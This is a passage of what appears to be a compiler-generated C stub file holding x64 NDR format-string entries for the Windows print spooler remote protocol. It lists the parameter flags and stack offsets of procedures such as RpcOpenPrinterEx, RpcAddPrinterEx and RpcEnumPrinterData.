3598 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3600 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3602 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter dwPrinterLocal */\n\n/* 3604 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3606 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3608 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter cbBuffer */\n\n/* 3610 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 3612 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3614 */\tNdrFcShort( 0x824 ),\t/* 2084 */\n\n\t/* Parameter pBuffer */\n\n/* 3616 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3618 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3620 */\tNdrFcShort( 0x82e ),\t/* Type Offset=2094 */\n\n\t/* Return value */\n\n/* 3622 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3624 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum63NotUsedOnWire */\n\n/* 3628 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3630 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3634 */\tNdrFcShort( 0x3f ),\t/* 63 */\n/* 3636 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3638 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3640 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3642 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3644 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3646 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3648 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3650 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3654 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3656 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum64NotUsedOnWire */\n\n/* 3658 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3660 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3664 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3666 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3668 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3670 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3674 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3676 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3678 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3682 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3684 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3686 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcRemoteFindFirstPrinterChangeNotificationEx */\n\n/* 3688 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3690 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3694 */\tNdrFcShort( 0x41 ),\t/* 65 */\n/* 3696 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3698 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3700 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3702 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3704 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 3706 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3708 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3710 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3712 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3714 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3716 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3720 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3722 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3724 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter fdwFlags */\n\n/* 3726 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3728 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3730 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter fdwOptions */\n\n/* 3732 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3734 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3736 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszLocalMachine */\n\n/* 3738 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3740 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3742 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter dwPrinterLocal */\n\n/* 3744 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3746 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3748 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOptions */\n\n/* 3750 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3752 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3754 */\tNdrFcShort( 0x848 ),\t/* Type Offset=2120 */\n\n\t/* Return value */\n\n/* 3756 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3758 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcRouterReplyPrinterEx */\n\n/* 3762 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3764 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3768 */\tNdrFcShort( 0x42 ),\t/* 66 */\n/* 3770 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3772 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3774 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3776 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3778 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 3780 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3782 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3784 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hNotify */\n\n/* 3794 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3796 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3798 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter dwColor */\n\n/* 3800 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3802 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3804 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter fdwFlags */\n\n/* 3806 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3808 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3810 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwResult */\n\n/* 3812 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3814 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3816 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwReplyType */\n\n/* 3818 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3820 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3822 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Reply */\n\n/* 3824 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3826 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3828 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3830 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3832 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3834 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcRouterRefreshPrinterChangeNotification */\n\n/* 3836 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3838 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3842 */\tNdrFcShort( 0x43 ),\t/* 67 */\n/* 3844 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3846 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3848 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3850 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3852 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 3854 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3856 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3858 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3860 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3862 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3864 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3866 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3868 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3870 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3872 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter dwColor */\n\n/* 3874 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3876 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3878 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOptions */\n\n/* 3880 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3882 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3884 */\tNdrFcShort( 0x848 ),\t/* Type Offset=2120 */\n\n\t/* Parameter ppInfo */\n\n/* 3886 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3888 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3890 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3892 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3894 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3896 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum68NotUsedOnWire */\n\n/* 3898 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3900 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3904 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 3906 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3908 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3910 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3912 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3914 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3916 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3918 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3926 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcOpenPrinterEx */\n\n/* 3928 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3930 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3934 */\tNdrFcShort( 0x45 ),\t/* 69 */\n/* 3936 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3938 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3940 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3942 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3944 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3946 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3948 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3950 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3952 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3954 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3956 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3958 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pPrinterName */\n\n/* 3960 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3962 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3964 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pHandle */\n\n/* 3966 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 3968 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3970 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter pDatatype */\n\n/* 3972 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3974 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3976 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 3978 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3980 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3982 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter AccessRequired */\n\n/* 3984 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3986 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3988 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pClientInfo */\n\n/* 3990 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3992 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3994 */\tNdrFcShort( 0x930 ),\t/* Type Offset=2352 */\n\n\t/* Return value */\n\n/* 3996 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3998 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4000 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrinterEx */\n\n/* 4002 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4004 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4008 */\tNdrFcShort( 0x46 ),\t/* 70 */\n/* 4010 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4012 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4014 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4016 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4018 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4020 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4022 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4024 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4026 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4028 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4030 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4032 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 4034 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4036 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4038 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 4040 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4042 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4044 */\tNdrFcShort( 0x30e ),\t/* Type Offset=782 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 4046 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4048 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4050 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 4052 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4054 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4056 */\tNdrFcShort( 0x322 ),\t/* Type Offset=802 */\n\n\t/* Parameter pClientInfo */\n\n/* 4058 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4060 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4062 */\tNdrFcShort( 0x930 ),\t/* Type Offset=2352 */\n\n\t/* Parameter pHandle */\n\n/* 4064 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 4066 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4068 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Return value */\n\n/* 4070 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4072 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4074 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetPort */\n\n/* 4076 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4078 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4082 */\tNdrFcShort( 0x47 ),\t/* 71 */\n/* 4084 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4086 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4088 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4090 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4094 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4096 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4098 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4102 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4106 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 4108 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4110 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4112 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortName */\n\n/* 4114 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4116 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4118 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortContainer */\n\n/* 4120 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4122 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4124 */\tNdrFcShort( 0x800 ),\t/* Type Offset=2048 */\n\n\t/* Return value */\n\n/* 4126 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4128 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4130 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrinterData */\n\n/* 4132 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4134 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4138 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 4140 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 4142 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4144 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4146 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4148 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 4150 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 4152 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0xa,\t\t/* 10 */\n/* 4154 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4156 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4158 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4162 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4164 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4166 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4168 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter dwIndex */\n\n/* 4170 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4172 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pValueName */\n\n/* 4176 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4178 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4180 */\tNdrFcShort( 0x944 ),\t/* Type Offset=2372 */\n\n\t/* Parameter cbValueName */\n\n/* 4182 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4184 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbValueName */\n\n/* 4188 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4190 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4192 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pType */\n\n/* 4194 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4196 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4198 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 4200 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4202 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4204 */\tNdrFcShort( 0x95e ),\t/* Type Offset=2398 */\n\n\t/* Parameter cbData */\n\n/* 4206 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4208 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4210 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbData */\n\n/* 4212 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4214 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4216 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4218 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4220 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 4222 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterData */\n\n/* 4224 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4226 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4230 */\tNdrFcShort( 0x49 ),\t/* 73 */\n/* 4232 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4234 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4236 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4238 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4240 */\tNdrFcShort( 0x24 ),\t/* 36 